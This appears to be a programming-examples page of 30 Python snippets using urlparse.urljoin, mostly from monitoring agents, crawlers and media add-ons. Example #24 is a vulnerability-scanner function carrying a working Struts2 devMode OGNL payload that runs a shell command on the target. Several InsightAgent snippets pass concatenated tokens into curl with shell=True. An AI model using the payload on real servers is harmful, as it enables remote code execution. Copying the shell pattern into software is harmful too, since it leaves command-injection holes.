Python urlparse.urljoin() Examples
The following are 30
code examples of urlparse.urljoin().
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example.
You may also want to check out all available functions/classes of the module
urlparse
, or try the search function
.
Example #1
Source File: getmetrics_zipkin.py From InsightAgent with Apache License 2.0 | 6 votes |
def zipkin_get_traces(): """ get traces from zipkin for the last reporting period """ data = { 'lookback': int(if_config_vars['samplingInterval']) * 60 * 1000, 'limit': int(if_config_vars['chunkLines']) } url = urlparse.urljoin(agent_config_vars['url'], '/api/v2/traces') resp = send_request(url, "GET", data, agent_config_vars['proxies'], 'Could not reach out to Zipkin APIs', 'Fetched traces from Zipkin') return json.loads(resp.text) ################# # Configuration # #################
Example #2
Source File: getlogs_k8s.py From InsightAgent with Apache License 2.0 | 6 votes |
def send_data_to_if(chunk_metric_data): send_data_time = time.time() # prepare data for metric streaming agent data_to_post = initialize_api_post_data() if 'DEPLOYMENT' in if_config_vars['project_type'] or 'INCIDENT' in if_config_vars['project_type']: for chunk in chunk_metric_data: chunk['data'] = json.dumps(chunk['data']) data_to_post[get_data_field_from_project_type()] = json.dumps(chunk_metric_data) logger.debug('First:\n' + str(chunk_metric_data[0])) logger.debug('Last:\n' + str(chunk_metric_data[-1])) logger.debug('Total Data (bytes): ' + str(get_json_size_bytes(data_to_post))) logger.debug('Total Lines: ' + str(track['line_count'])) # do not send if only testing if cli_config_vars['testing']: return # send the data post_url = urlparse.urljoin(if_config_vars['if_url'], get_api_from_project_type()) send_request(post_url, 'POST', 'Could not send request to IF', str(get_json_size_bytes(data_to_post)) + ' bytes of data are reported.', data=data_to_post, proxies=if_config_vars['if_proxies']) logger.debug('--- Send data time: %s seconds ---' % round(time.time() - send_data_time, 2))
Example #3
Source File: getmetrics_cadvisor.py From InsightAgent with Apache License 2.0 | 6 votes |
def check_project(project_name): if 'token' in if_config_vars and len(if_config_vars['token']) != 0: logger.debug(project_name) try: # check for existing project check_url = urlparse.urljoin(if_config_vars['if_url'], '/api/v1/getprojectstatus') output_check_project = subprocess.check_output('curl "' + check_url + '?userName=' + if_config_vars['user_name'] + '&token=' + if_config_vars['token'] + '&projectList=%5B%7B%22projectName%22%3A%22' + project_name + '%22%2C%22customerName%22%3A%22' + if_config_vars['user_name'] + '%22%2C%22projectType%22%3A%22CUSTOM%22%7D%5D&tzOffset=-14400000"', shell=True) # create project if no existing project if project_name not in output_check_project: logger.debug('creating project') create_url = urlparse.urljoin(if_config_vars['if_url'], '/api/v1/add-custom-project') output_create_project = subprocess.check_output('no_proxy= curl -d "userName=' + if_config_vars['user_name'] + '&token=' + if_config_vars['token'] + '&projectName=' + project_name + '&instanceType=PrivateCloud&projectCloudType=PrivateCloud&dataType=' + get_data_type_from_project_type() + '&samplingInterval=' + str(if_config_vars['sampling_interval'] / 60) + '&samplingIntervalInSeconds=' + str(if_config_vars['sampling_interval']) + '&zone=&email=&access-key=&secrete-key=&insightAgentType=' + get_insight_agent_type_from_project_type() + '" -H "Content-Type: application/x-www-form-urlencoded" -X POST ' + create_url + '?tzOffset=-18000000', shell=True) # set project name to proposed name if_config_vars['project_name'] = project_name # try to add new project to system if 'system_name' in if_config_vars and len(if_config_vars['system_name']) != 0: system_url = urlparse.urljoin(if_config_vars['if_url'], '/api/v1/projects/update') output_update_project = subprocess.check_output('no_proxy= curl -d "userName=' + if_config_vars['user_name'] + '&token=' + if_config_vars['token'] + '&operation=updateprojsettings&projectName=' + project_name + '&systemName=' + if_config_vars['system_name'] + '" -H "Content-Type: application/x-www-form-urlencoded" -X POST ' + system_url + '?tzOffset=-18000000', shell=True) except subprocess.CalledProcessError as e: logger.error('Unable to create project for ' + project_name + '. Data will be sent to ' + if_config_vars['project_name'])
Example #4
Source File: getlogs_servicenow.py From InsightAgent with Apache License 2.0 | 6 votes |
def send_data_to_if(chunk_metric_data): send_data_time = time.time() # prepare data for metric streaming agent data_to_post = initialize_api_post_data() if 'DEPLOYMENT' in if_config_vars['project_type'] or 'INCIDENT' in if_config_vars['project_type']: for chunk in chunk_metric_data: chunk['data'] = json.dumps(chunk['data']) data_to_post[get_data_field_from_project_type()] = json.dumps(chunk_metric_data) logger.debug('First:\n' + str(chunk_metric_data[0])) logger.debug('Last:\n' + str(chunk_metric_data[-1])) logger.debug('Total Data (bytes): ' + str(get_json_size_bytes(data_to_post))) logger.debug('Total Lines: ' + str(track['line_count'])) # do not send if only testing if cli_config_vars['testing']: return # send the data post_url = urlparse.urljoin(if_config_vars['if_url'], get_api_from_project_type()) send_request(post_url, 'POST', 'Could not send request to IF', str(get_json_size_bytes(data_to_post)) + ' bytes of data are reported.', data=data_to_post, proxies=if_config_vars['if_proxies']) logger.debug('--- Send data time: %s seconds ---' % round(time.time() - send_data_time, 2))
Example #5
Source File: getmetrics_newrelic.py From InsightAgent with Apache License 2.0 | 6 votes |
def get_hosts_for_app(base_url, headers, data, metrics_list, app_id): api = '/v2/applications/' + app_id + '/hosts.json' url = urlparse.urljoin(base_url, api) response = send_request(url, headers=headers, proxies=agent_config_vars['proxies']) try: response_json = json.loads(response.text) filter_hosts(base_url, headers, data, metrics_list, app_id, response_json['application_hosts']) # response = -1 except TypeError as te: logger.warn('Failure when contacting NewRelic API when fetching hosts for app ' + app_id + '].') logger.warn(str(te)) logger.warn(response.text) # malformed response_json # handles errors from filter_hosts except KeyError as ke: logger.warn('NewRelic API returned malformed data when fetching hosts for app ' + app_id + '].' 'Please contact support if this problem persists.') logger.warn(str(ke)) logger.warn(response.text)
Example #6
Source File: app.py From video2commons with GNU General Public License v3.0 | 6 votes |
def loginredirect(): """Initialize OAuth login.""" app.session_interface.abandon_session(app, session) redirecturl, request_token = handshaker.initiate() session['request_token_key'], session['request_token_secret'] = \ request_token.key, request_token.secret session['return_to_url'] = url_for('main') returnto = request.args.get('returnto') if returnto: ref_url = urlparse(request.url_root) test_url = urlparse(urljoin(request.host_url, returnto)) if ( test_url.scheme == ref_url.scheme and test_url.netloc == ref_url.netloc and test_url.path.startswith(ref_url.path) ): session['return_to_url'] = returnto return redirect(redirecturl)
Example #7
Source File: getlogs_evtx.py From InsightAgent with Apache License 2.0 | 6 votes |
def send_data_to_if(chunk_metric_data): send_data_time = time.time() # prepare data for metric streaming agent data_to_post = initialize_api_post_data() if 'DEPLOYMENT' in if_config_vars['project_type'] or 'INCIDENT' in if_config_vars['project_type']: for chunk in chunk_metric_data: chunk['data'] = json.dumps(chunk['data']) data_to_post[get_data_field_from_project_type()] = json.dumps(chunk_metric_data) logger.debug('First:\n' + str(chunk_metric_data[0])) logger.debug('Last:\n' + str(chunk_metric_data[-1])) logger.debug('Total Data (bytes): ' + str(get_json_size_bytes(data_to_post))) logger.debug('Total Lines: ' + str(track['line_count'])) # do not send if only testing if cli_config_vars['testing']: return # send the data post_url = urlparse.urljoin(if_config_vars['if_url'], get_api_from_project_type()) send_request(post_url, 'POST', 'Could not send request to IF', str(get_json_size_bytes(data_to_post)) + ' bytes of data are reported.', data=data_to_post, proxies=if_config_vars['if_proxies']) logger.debug('--- Send data time: %s seconds ---' % round(time.time() - send_data_time, 2))
Example #8
Source File: getmetrics_newrelic.py From InsightAgent with Apache License 2.0 | 6 votes |
def get_metrics_for_app_host(base_url, headers, data, metrics_list, app_id, instance='', host_id='', hostname=''): api = get_metrics_api(app_id, host_id) url = urlparse.urljoin(base_url, api) for metric in metrics_list: data_copy = data data_copy['names[]'] = metric data_copy['values[]'] = metrics_list[metric] response = send_request(url, headers=headers, proxies=agent_config_vars['proxies'], data=data_copy) try: metric_data = json.loads(response.text) parse_metric_data(metric_data['metric_data']['metrics'], instance, hostname) # response = -1 except TypeError as te: logger.warn('Failure when contacting NewRelic API while fetching metrics ' + 'for app ' + app_id + ' & host ' + host_id + '.') logger.warn(str(te)) logger.warn(response.text) # malformed response_json # handles errors from parse_metric_data as well except KeyError as ke: logger.warn('NewRelic API returned malformed data when fetching metrics ' + 'for app ' + app_id + ' & host ' + host_id + '.' + 'Please contact support if this problem persists.') logger.warn(str(ke)) logger.warn(response.text)
Example #9
Source File: getmetrics_sar.py From InsightAgent with Apache License 2.0 | 6 votes |
def check_project(project_name): if 'token' in if_config_vars and len(if_config_vars['token']) != 0: logger.debug(project_name) try: # check for existing project check_url = urlparse.urljoin(if_config_vars['if_url'], '/api/v1/getprojectstatus') output_check_project = subprocess.check_output('curl "' + check_url + '?userName=' + if_config_vars['user_name'] + '&token=' + if_config_vars['token'] + '&projectList=%5B%7B%22projectName%22%3A%22' + project_name + '%22%2C%22customerName%22%3A%22' + if_config_vars['user_name'] + '%22%2C%22projectType%22%3A%22CUSTOM%22%7D%5D&tzOffset=-14400000"', shell=True) # create project if no existing project if project_name not in output_check_project: logger.debug('creating project') create_url = urlparse.urljoin(if_config_vars['if_url'], '/api/v1/add-custom-project') output_create_project = subprocess.check_output('no_proxy= curl -d "userName=' + if_config_vars['user_name'] + '&token=' + if_config_vars['token'] + '&projectName=' + project_name + '&instanceType=PrivateCloud&projectCloudType=PrivateCloud&dataType=' + get_data_type_from_project_type() + '&samplingInterval=' + str(if_config_vars['sampling_interval'] / 60) + '&samplingIntervalInSeconds=' + str(if_config_vars['sampling_interval']) + '&zone=&email=&access-key=&secrete-key=&insightAgentType=' + get_insight_agent_type_from_project_type() + '" -H "Content-Type: application/x-www-form-urlencoded" -X POST ' + create_url + '?tzOffset=-18000000', shell=True) # set project name to proposed name if_config_vars['project_name'] = project_name # try to add new project to system if 'system_name' in if_config_vars and len(if_config_vars['system_name']) != 0: system_url = urlparse.urljoin(if_config_vars['if_url'], '/api/v1/projects/update') output_update_project = subprocess.check_output('no_proxy= curl -d "userName=' + if_config_vars['user_name'] + '&token=' + if_config_vars['token'] + '&operation=updateprojsettings&projectName=' + project_name + '&systemName=' + if_config_vars['system_name'] + '" -H "Content-Type: application/x-www-form-urlencoded" -X POST ' + system_url + '?tzOffset=-18000000', shell=True) except subprocess.CalledProcessError as e: logger.error('Unable to create project for ' + project_name + '. Data will be sent to ' + if_config_vars['project_name'])
Example #10
Source File: getmetrics_sar.py From InsightAgent with Apache License 2.0 | 6 votes |
def send_data_to_if(chunk_metric_data): send_data_time = time.time() # prepare data for metric streaming agent data_to_post = initialize_api_post_data() if 'DEPLOYMENT' in if_config_vars['project_type'] or 'INCIDENT' in if_config_vars['project_type']: for chunk in chunk_metric_data: chunk['data'] = json.dumps(chunk['data']) data_to_post[get_data_field_from_project_type()] = json.dumps(chunk_metric_data) logger.debug('First:\n' + str(chunk_metric_data[0])) logger.debug('Last:\n' + str(chunk_metric_data[-1])) logger.debug('Total Data (bytes): ' + str(get_json_size_bytes(data_to_post))) logger.debug('Total Lines: ' + str(track['line_count'])) # do not send if only testing if cli_config_vars['testing']: return # send the data post_url = urlparse.urljoin(if_config_vars['if_url'], get_api_from_project_type()) send_request(post_url, 'POST', 'Could not send request to IF', str(get_json_size_bytes(data_to_post)) + ' bytes of data are reported.', data=data_to_post, proxies=if_config_vars['if_proxies']) logger.debug('--- Send data time: %s seconds ---' % round(time.time() - send_data_time, 2))
Example #11
Source File: getmessages_mssql.py From InsightAgent with Apache License 2.0 | 6 votes |
def send_data_to_if(chunk_metric_data): send_data_time = time.time() # prepare data for metric streaming agent data_to_post = initialize_api_post_data() if 'DEPLOYMENT' in if_config_vars['project_type'] or 'INCIDENT' in if_config_vars['project_type']: for chunk in chunk_metric_data: chunk['data'] = json.dumps(chunk['data']) data_to_post[get_data_field_from_project_type()] = json.dumps(chunk_metric_data) logger.debug('First:\n' + str(chunk_metric_data[0])) logger.debug('Last:\n' + str(chunk_metric_data[-1])) logger.info('Total Data (bytes): ' + str(get_json_size_bytes(data_to_post))) logger.info('Total Lines: ' + str(track['line_count'])) # do not send if only testing if cli_config_vars['testing']: return # send the data post_url = urlparse.urljoin(if_config_vars['if_url'], get_api_from_project_type()) send_request(post_url, 'POST', 'Could not send request to IF', str(get_json_size_bytes(data_to_post)) + ' bytes of data are reported.', data=data_to_post, verify=False, proxies=if_config_vars['if_proxies']) logger.info('--- Send data time: %s seconds ---' % round(time.time() - send_data_time, 2))
Example #12
Source File: insightagent-boilerplate.py From InsightAgent with Apache License 2.0 | 6 votes |
def send_data_to_if(chunk_metric_data): send_data_time = time.time() # prepare data for metric streaming agent data_to_post = initialize_api_post_data() if 'DEPLOYMENT' in if_config_vars['project_type'] or 'INCIDENT' in if_config_vars['project_type']: for chunk in chunk_metric_data: chunk['data'] = json.dumps(chunk['data']) data_to_post[get_data_field_from_project_type()] = json.dumps(chunk_metric_data) logger.debug('First:\n' + str(chunk_metric_data[0])) logger.debug('Last:\n' + str(chunk_metric_data[-1])) logger.debug('Total Data (bytes): ' + str(get_json_size_bytes(data_to_post))) logger.debug('Total Lines: ' + str(track['line_count'])) # do not send if only testing if cli_config_vars['testing']: return # send the data post_url = urlparse.urljoin(if_config_vars['if_url'], get_api_from_project_type()) send_request(post_url, 'POST', 'Could not send request to IF', str(get_json_size_bytes(data_to_post)) + ' bytes of data are reported.', data=data_to_post, proxies=if_config_vars['if_proxies']) logger.debug('--- Send data time: %s seconds ---' % round(time.time() - send_data_time, 2))
Example #13
Source File: getmessages_prometheus.py From InsightAgent with Apache License 2.0 | 6 votes |
def check_project(project_name): if 'token' in if_config_vars and len(if_config_vars['token']) != 0: logger.debug(project_name) try: # check for existing project check_url = urlparse.urljoin(if_config_vars['if_url'], '/api/v1/getprojectstatus') output_check_project = subprocess.check_output('curl "' + check_url + '?userName=' + if_config_vars['user_name'] + '&token=' + if_config_vars['token'] + '&projectList=%5B%7B%22projectName%22%3A%22' + project_name + '%22%2C%22customerName%22%3A%22' + if_config_vars['user_name'] + '%22%2C%22projectType%22%3A%22CUSTOM%22%7D%5D&tzOffset=-14400000"', shell=True) # create project if no existing project if project_name not in output_check_project: logger.debug('creating project') create_url = urlparse.urljoin(if_config_vars['if_url'], '/api/v1/add-custom-project') output_create_project = subprocess.check_output('no_proxy= curl -d "userName=' + if_config_vars['user_name'] + '&token=' + if_config_vars['token'] + '&projectName=' + project_name + '&instanceType=PrivateCloud&projectCloudType=PrivateCloud&dataType=' + get_data_type_from_project_type() + '&samplingInterval=' + str(if_config_vars['sampling_interval'] / 60) + '&samplingIntervalInSeconds=' + str(if_config_vars['sampling_interval']) + '&zone=&email=&access-key=&secrete-key=&insightAgentType=' + get_insight_agent_type_from_project_type() + '" -H "Content-Type: application/x-www-form-urlencoded" -X POST ' + create_url + '?tzOffset=-18000000', shell=True) # set project name to proposed name if_config_vars['project_name'] = project_name # try to add new project to system if 'system_name' in if_config_vars and len(if_config_vars['system_name']) != 0: system_url = urlparse.urljoin(if_config_vars['if_url'], '/api/v1/projects/update') output_update_project = subprocess.check_output('no_proxy= curl -d "userName=' + if_config_vars['user_name'] + '&token=' + if_config_vars['token'] + '&operation=updateprojsettings&projectName=' + project_name + '&systemName=' + if_config_vars['system_name'] + '" -H "Content-Type: application/x-www-form-urlencoded" -X POST ' + system_url + '?tzOffset=-18000000', shell=True) except subprocess.CalledProcessError as e: logger.error('Unable to create project for ' + project_name + '. Data will be sent to ' + if_config_vars['project_name'])
Example #14
Source File: getmessages_prometheus.py From InsightAgent with Apache License 2.0 | 6 votes |
def send_data_to_if(chunk_metric_data): send_data_time = time.time() # prepare data for metric streaming agent data_to_post = initialize_api_post_data() if 'DEPLOYMENT' in if_config_vars['project_type'] or 'INCIDENT' in if_config_vars['project_type']: for chunk in chunk_metric_data: chunk['data'] = json.dumps(chunk['data']) data_to_post[get_data_field_from_project_type()] = json.dumps(chunk_metric_data) logger.debug('First:\n' + str(chunk_metric_data[0])) logger.debug('Last:\n' + str(chunk_metric_data[-1])) logger.debug('Total Data (bytes): ' + str(get_json_size_bytes(data_to_post))) logger.debug('Total Lines: ' + str(track['line_count'])) # do not send if only testing if cli_config_vars['testing']: return # send the data post_url = urlparse.urljoin(if_config_vars['if_url'], get_api_from_project_type()) send_request(post_url, 'POST', 'Could not send request to IF', str(get_json_size_bytes(data_to_post)) + ' bytes of data are reported.', data=data_to_post, proxies=if_config_vars['if_proxies']) logger.debug('--- Send data time: %s seconds ---' % round(time.time() - send_data_time, 2))
Example #15
Source File: getlogs_hadoop-mapreduce.py From InsightAgent with Apache License 2.0 | 6 votes |
def send_data_to_if(chunk_metric_data): send_data_time = time.time() # prepare data for metric streaming agent data_to_post = initialize_api_post_data() if 'DEPLOYMENT' in if_config_vars['project_type'] or 'INCIDENT' in if_config_vars['project_type']: for chunk in chunk_metric_data: chunk['data'] = json.dumps(chunk['data']) data_to_post[get_data_field_from_project_type()] = json.dumps(chunk_metric_data) logger.debug('First:\n' + str(chunk_metric_data[0])) logger.debug('Last:\n' + str(chunk_metric_data[-1])) logger.debug('Total Data (bytes): ' + str(get_json_size_bytes(data_to_post))) logger.debug('Total Lines: ' + str(track['line_count'])) # do not send if only testing if cli_config_vars['testing']: return # send the data post_url = urlparse.urljoin(if_config_vars['if_url'], get_api_from_project_type()) send_request(post_url, 'POST', 'Could not send request to IF', str(get_json_size_bytes(data_to_post)) + ' bytes of data are reported.', data=data_to_post, proxies=if_config_vars['if_proxies']) logger.debug('--- Send data time: %s seconds ---' % round(time.time() - send_data_time, 2))
Example #16
Source File: api_resource.py From codepost-python with GNU Lesser General Public License v3.0 | 6 votes |
def instance_endpoint_by_id(self, id=None): """ Returns the endpoint designating some instantiated API resource of the same kind. If no `id` is provided, will use the `id` of the currently instantiated resource. If this is called from a static object, then returns `None`. """ _id = self._get_id(id=id) if _id: # CASE 1: The class end point might have a formatting parameter # NOTE: This is for the weird case of submissions of an assignment try: tmp = self.class_endpoint.format(_id) if tmp != self.class_endpoint: return tmp except IndexError: # means formatting didn't work pass # CASE 2: The class end point has not formatting parameter # NOTE: Trailing slash important (API bug) return urljoin(self.class_endpoint, "{}/".format(_id))
Example #17
Source File: getmetrics_zipkin.py From InsightAgent with Apache License 2.0 | 6 votes |
def send_data_to_if(chunk_metric_data, mode): """ sends data to IF. valid modes are METRIC, METRICREPLAY, LOG, LOGREPLAY, INCIDENT, INCIDENTREPLAY """ send_data_time = time.time() # prepare data for metric streaming agent to_send_data_dict = initialize_api_post_data() to_send_data_dict["metricData"] = json.dumps(chunk_metric_data) to_send_data_dict["agentType"] = get_agent_type_from_mode(mode) to_send_data_json = json.dumps(to_send_data_dict) logger.debug("TotalData: " + str(len(bytearray(to_send_data_json)))) logger.debug(to_send_data_json) if cli_config_vars['testing']: return # send the data post_url = urlparse.urljoin(if_config_vars['ifURL'], get_api_from_mode(mode)) send_request(post_url, "POST", json.loads(to_send_data_json), if_config_vars['ifProxies'], 'Could not send request to IF', str(len(bytearray(to_send_data_json))) + " bytes of data are reported.") logger.debug("--- Send data time: %s seconds ---" % (time.time() - send_data_time))
Example #18
Source File: webspider.py From tornado-zh with MIT License | 6 votes |
def get_links_from_url(url): """Download the page at `url` and parse it for links. Returned links have had the fragment after `#` removed, and have been made absolute so, e.g. the URL 'gen.html#tornado.gen.coroutine' becomes 'http://www.tornadoweb.org/en/stable/gen.html'. """ try: response = yield httpclient.AsyncHTTPClient().fetch(url) print('fetched %s' % url) html = response.body if isinstance(response.body, str) \ else response.body.decode() urls = [urljoin(url, remove_fragment(new_url)) for new_url in get_links(html)] except Exception as e: print('Exception: %s %s' % (e, url)) raise gen.Return([]) raise gen.Return(urls)
Example #19
Source File: kickass.py From plugin.video.kmediatorrent with GNU General Public License v3.0 | 6 votes |
def kat_page(root, page, sort_field, sort_order): from urlparse import urljoin from kmediatorrent.scrapers import rss from kmediatorrent.utils import url_get content_type = plugin.request.args_dict.get("content_type") if content_type: plugin.set_content(content_type) page = int(page) page_data = url_get(urljoin(BASE_URL, "%s/%d" % (root, page)), headers=HEADERS, params={ "rss": "1", "field": sort_field, "sorder": sort_order }) for item in rss.parse(page_data, content_type): yield item yield { "label": ">> Next page", "path": plugin.url_for("kat_page", root=root, page=page + 1, sort_field=sort_field, sort_order=sort_order, **plugin.request.args_dict), }
Example #20
Source File: extratorrent.py From plugin.video.kmediatorrent with GNU General Public License v3.0 | 6 votes |
def extratorrent_page(type_="", cid="", search="", page=1): from urlparse import urljoin from kmediatorrent.scrapers import rss from kmediatorrent.utils import url_get content_type = plugin.request.args_dict.pop("content_type", None) if content_type: plugin.set_content(content_type) params = { "type": type_, "search": search, "cid": cid, } params.update(plugin.request.args_dict) page_data = url_get(urljoin(BASE_URL, "/rss.xml"), headers=HEADERS, params=params) return rss.parse(page_data, content_type)
Example #21
Source File: bitsnoop.py From plugin.video.kmediatorrent with GNU General Public License v3.0 | 6 votes |
def bitsnoop_page(root, page): from urlparse import urljoin from kmediatorrent.scrapers import rss from kmediatorrent.utils import url_get content_type = plugin.request.args_dict.get("content_type") if content_type: plugin.set_content(content_type) page = int(page) page_data = url_get(urljoin(BASE_URL, "%s/%d/" % (root, page)), headers=HEADERS, params={ "fmt": "rss", "sort": "n_s", "dir": "desc", }) return rss.parse(page_data)
Example #22
Source File: tornado-crawler-demo1.py From Python_Master_Courses with GNU General Public License v3.0 | 6 votes |
def get_links_from_url(url): """Download the page at `url` and parse it for links. Returned links have had the fragment after `#` removed, and have been made absolute so, e.g. the URL 'gen.html#tornado.gen.coroutine' becomes 'http://www.tornadoweb.org/en/stable/gen.html'. """ try: response = yield httpclient.AsyncHTTPClient().fetch(url)#获取到 print('fetched %s' % url) html = response.body if isinstance(response.body, str) \ else response.body.decode() urls = [urljoin(url, remove_fragment(new_url)) for new_url in get_links(html)] except Exception as e: print('Exception: %s %s' % (e, url)) raise gen.Return([]) raise gen.Return(urls)
Example #23
Source File: client.py From godaddypy with BSD 3-Clause "New" or "Revised" License | 6 votes |
def __init__(self, account, log_level=None, api_base_url=GODADDY_API_BASE_URL, api_version=GODADDY_API_VERSION): """Create a new `godaddypy.Client` object :type account: godaddypy.Account :param account: The godaddypy.Account object to create auth headers with. """ # Logging setup self.logger = logging.getLogger('GoDaddyPy.Client') # Explicit override of logging level if log_level is not None: self.logger.setLevel(log_level) # Templates self.API_TEMPLATE = urljoin(api_base_url, api_version) self.DOMAINS = '/domains' self.DOMAIN_INFO = '/domains/{domain}' self.RECORDS = '/domains/{domain}/records' self.RECORDS_TYPE = '/domains/{domain}/records/{type}' self.RECORDS_TYPE_NAME = '/domains/{domain}/records/{type}/{name}' self.account = account
Example #24
Source File: 5-Strust2-getshell.py From vulscan with MIT License | 6 votes |
def strust2_devmode(self,url): from urlparse import urljoin result = {} #devMode模式漏洞 data_dev = '?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=echo vulnerable' try: poc_url = urljoin(url,data_dev) #print poc_url s = req.session() res = s.post(poc_url, timeout=4, allow_redirects=False, verify=False) if "vulnerable" in res.content: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = url result['VerifyInfo']['Payload'] = poc_url + "strust2_devmode" else: #print "{url} is not vulnerable..".format(url=url) pass except Exception, e: #print "Failed to connection target, try again.." print e
Example #25
Source File: renderer.py From pulseaudio-dlna with GNU General Public License v3.0 | 6 votes |
def _encode_settings(self, settings, suffix=''): if pulseaudio_dlna.streamserver.StreamServer.HOST: server_ip = pulseaudio_dlna.streamserver.StreamServer.HOST else: server_ip = pulseaudio_dlna.utils.network.get_host_by_ip(self.ip) if not server_ip: raise NoSuitableHostFoundException(self.ip) server_port = pulseaudio_dlna.streamserver.StreamServer.PORT base_url = 'http://{ip}:{port}'.format( ip=server_ip, port=server_port, ) data_string = ','.join( ['{}="{}"'.format(k, v) for k, v in settings.iteritems()]) stream_name = '/{base_string}/{suffix}'.format( base_string=urllib.quote(base64.b64encode(data_string)), suffix=suffix, ) return urlparse.urljoin(base_url, stream_name)
Example #26
Source File: fixture.py From mishkal with GNU General Public License v3.0 | 6 votes |
def goto(self, href, method='get', **args): """ Go to the (potentially relative) link ``href``, using the given method (``'get'`` or ``'post'``) and any extra arguments you want to pass to the ``app.get()`` or ``app.post()`` methods. All hostnames and schemes will be ignored. """ scheme, host, path, query, fragment = urlparse.urlsplit(href) # We scheme = host = fragment = '' href = urlparse.urlunsplit((scheme, host, path, query, fragment)) href = urlparse.urljoin(self.request.full_url, href) method = method.lower() assert method in ('get', 'post'), ( 'Only "get" or "post" are allowed for method (you gave %r)' % method) if method == 'get': method = self.test_app.get else: method = self.test_app.post return method(href, **args)
Example #27
Source File: default.py From bugatsinho.github.io with GNU General Public License v3.0 | 6 votes |
def Get_Genres(url): #3 r = client.request(BASEURL) r = zip(client.parseDOM(r, 'a', ret='href'), client.parseDOM(r, 'a')) if 'peliculas' in url: data = [(i[0], i[1]) for i in r if '/peliculas/generos/' in i[0]] else: data = [(i[0], i[1]) for i in r if '/series/generos/' in i[0]] for post in data: try: link = urlparse.urljoin(BASEURL, post[0]) link = client.replaceHTMLCodes(link) link = link.encode('utf-8') name = post[1] name = client.replaceHTMLCodes(name) name = clear_Title(name) name = name.encode('utf-8') except: name = '' addDir('[B][COLOR yellow]%s[/COLOR][/B]' % name, link, 5, ART + 'genre.jpg', FANART, '') setView('movies', 'menu-view')
Example #28
Source File: default.py From bugatsinho.github.io with GNU General Public License v3.0 | 6 votes |
def An_ul_epis(url):#23 r = client.request(url) token = re.findall('''var\s+TOKEN\s*=\s*['"](.+?)['"]''', r, re.DOTALL|re.I)[0] post = 'tipo=episodios&_token=%s' % token r = client.request(p_link, post=post, referer=ANIME) r = client.parseDOM(r, 'div', attrs={'class': 'episodios'}) for item in r: poster = re.findall('url\((.+?)\)', item, re.DOTALL)[0] poster = urlparse.urljoin(ANIME, poster) link = client.parseDOM(item, 'a', ret='href')[0] link = client.replaceHTMLCodes(link) link = link.encode('utf-8') link = '%s|%s' % (link, poster) ep = client.parseDOM(item, 'span', attrs={'class': 'Capi'})[0] title = client.parseDOM(item, 'h2')[0] title = client.replaceHTMLCodes(title) title = title.encode('utf-8') title = '[B][COLOR white]%s-[COLOR lime]%s[/COLOR][/B]' % (title, str(ep)) addDir(title, link, 27, poster, ART + 'fanimet.jpg', '') setView('movies', 'menu-view')
Example #29
Source File: default.py From bugatsinho.github.io with GNU General Public License v3.0 | 6 votes |
def An_ul_agre(url):#24 r = client.request(url) token = re.findall('''var\s+TOKEN\s*=\s*['"](.+?)['"]''', r, re.DOTALL | re.I)[0] post = 'tipo=estrenos&_token=%s' % token r = client.request(p_link, post=post, referer=ANIME) r = client.parseDOM(r, 'div', attrs={'class': 'anime'}) for item in r: poster = re.findall('url\((.+?)\)', item, re.DOTALL)[0] poster = urlparse.urljoin(ANIME, poster) link = client.parseDOM(item, 'a', ret='href')[0] link = client.replaceHTMLCodes(link) link = link.encode('utf=8') title = client.parseDOM(item, 'h2')[0] title = client.replaceHTMLCodes(title) title = title.encode('utf-8') title = '[B][COLOR white]%s[/COLOR][/B]' % title addDir(title, link, 20, poster, ART + 'fanimet.jpg', '') setView('movies', 'menu-view')
Example #30
Source File: default.py From bugatsinho.github.io with GNU General Public License v3.0 | 6 votes |
def An_popul(url):#25 r = client.request(url) token = re.findall('''var\s+TOKEN\s*=\s*['"](.+?)['"]''', r, re.DOTALL | re.I)[0] post = 'tipo=populares&_token=%s' % token r = client.request(p_link, post=post, referer=ANIME) r = client.parseDOM(r, 'div', attrs={'class': 'anime'}) for item in r: poster = re.findall('url\((.+?)\)', item, re.DOTALL)[0] poster = urlparse.urljoin(ANIME, poster) link = client.parseDOM(item, 'a', ret='href')[0] link = client.replaceHTMLCodes(link) link = link.encode('utf=8') title = client.parseDOM(item, 'h2')[0] title = client.replaceHTMLCodes(title) title = title.encode('utf-8') title = '[B][COLOR white]%s[/COLOR][/B]' % title addDir(title, link, 20, poster, ART + 'fanimet.jpg', '') setView('movies', 'movie-view')